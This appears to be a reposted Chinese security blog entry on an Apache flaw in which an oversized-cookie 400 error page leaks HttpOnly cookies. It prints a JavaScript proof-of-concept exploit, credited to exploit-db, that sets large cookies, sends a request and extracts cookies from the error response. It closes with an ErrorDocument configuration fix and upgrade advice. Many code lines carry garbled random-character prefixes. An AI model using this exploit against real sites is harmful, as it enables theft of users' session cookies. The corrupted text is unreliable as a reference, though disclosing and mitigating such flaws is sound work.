Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
9 F) I1 Q. a$ _) ~; {
) i0 s2 i# B* w" o7 f6 J9 n用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


% o$ `4 l2 X0 r# C" T+ }// http://www.exploit-db.com/exploits/18442/
- B0 K* ^) E; J/ n* {9 C  L9 ], Ofunction setCookies (good) {
// Construct string for cookie value
var str = "";
4 ~* N. C2 ~9 I* w0 N# vfor (var i=0; i< 819; i++) {
. p1 J; e5 C8 w3 a  u3 W0 Gstr += "x";
  J" |+ i8 z6 J( t}
0 T/ u4 s* N* Y// Set cookies
for (i = 0; i < 10; i++) {
1 t% l4 M' ^0 Q- b2 O1 e- }- d. c// Expire evil cookie
if (good) {
3 l" E0 l, C- a: j$ z" T1 J2 ?- pvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
  J- V# v5 ]1 [! \  p5 q; @}
7 ^$ G" p- R+ R8 M// Set evil cookie
& }( S* U+ e0 D3 ^# a/ N, X% V3 eelse {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
: k4 F) ?) i7 W$ Z. \( D}
4 E9 ?+ m) G2 l8 g- pfunction makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
$ q* }* g" C2 P// Only react on 400 status
8 @1 {. M. c; S# o4 R- r/ jif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
! h' `+ k/ ?: j$ v# [2 g/ H; u; W. Iif (content.length) {
) R% V6 M! J. B5 ?8 x% ~) `// Remove Cookie: prefix
/ S8 [7 Y  r: I. m& B6 S$ B! fcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
& b& R- B+ X. t. m8 ?7 ^for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
, [. }, i* ?2 W: Ccookie_dict[s_c[0]] = s_c[1];
; k" U! }! r: B$ V* [}
9 o2 M/ V: M. ]# y$ e  ]) Q}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
6 M3 Q& l8 o: }3 i5 R; K" W3 u* Evar xhr = new XMLHttpRequest();
3 |$ f# H: J2 Z0 k7 s) y# y+ T4 T2 ixhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
  [6 M8 e( l; e2 B7 s. \" z0 Axhr.send(null);
}
makeRequest();
( s# n6 ^2 B3 g" V, a8 V0 t2 \
你就能看见华丽丽的400错误包含着cookie信息。
& S3 Y$ `% \+ ^8 H5 v6 |
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
& p# B/ e+ n9 Y
修复方案：
6 Y# o8 r7 D- y- R7 q
. ^* e) S: |6 @: d+ uApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

. t: @. q* }# s+ K' CIn the event of a problem or error, Apachecan be configured to do one of four things,

& \. v7 [8 @+ o/ ^( d7 Q: G( d1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
4 S& \; R6 f9 O7 Q
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：

) u/ l/ W* Y4 f5 K5 G) MErrorDocument400 " security test"
! ^. F" \5 E- ?' _- F+ h
$ a! X/ V9 e: {/ B5 s: Z当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
. }% m) Z- f% b% l  I$ m6 c